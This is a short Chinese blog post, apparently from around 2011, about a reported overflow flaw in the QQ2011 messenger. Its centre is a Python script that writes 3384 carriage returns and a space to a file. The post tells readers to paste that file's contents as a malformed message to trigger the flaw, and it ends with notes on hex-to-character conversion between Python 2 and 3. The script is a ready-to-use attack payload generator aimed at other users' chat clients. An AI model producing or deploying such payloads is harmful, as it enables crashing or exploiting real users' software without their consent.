python生成QQ2011溢出漏洞

 

QQ爆出了一个漏洞，详细见 http://www.qqtz.com/read-htm-tid-1447432.html  ，根据该描述使用python可以制作该畸形消息，如下代码，执行后打开qq.txt,全选复制即可

 

#coding=utf-8
count=3384
s1=chr(int('0x0D',16))
s2=chr(int('0x20',16))

f=open('qq.txt','w')
for i in range(count):
    f.write(s1)
f.write(s2)
f.close()

 

、、、、、、、、、、、、、

 

使用到的知识是，如何将十六进制表示的字符串转换为对应的unicode字符串，见 http://blog.youkuaiyun.com/linuxnewer/archive/2008/01/03/2022097.aspx

上面链接是.2版本的，到.3的时候，unichr函数已经被抛弃，统一用chr函数，见

http://stackoverflow.com/questions/2352018/cant-use-unichr-in-python-3-1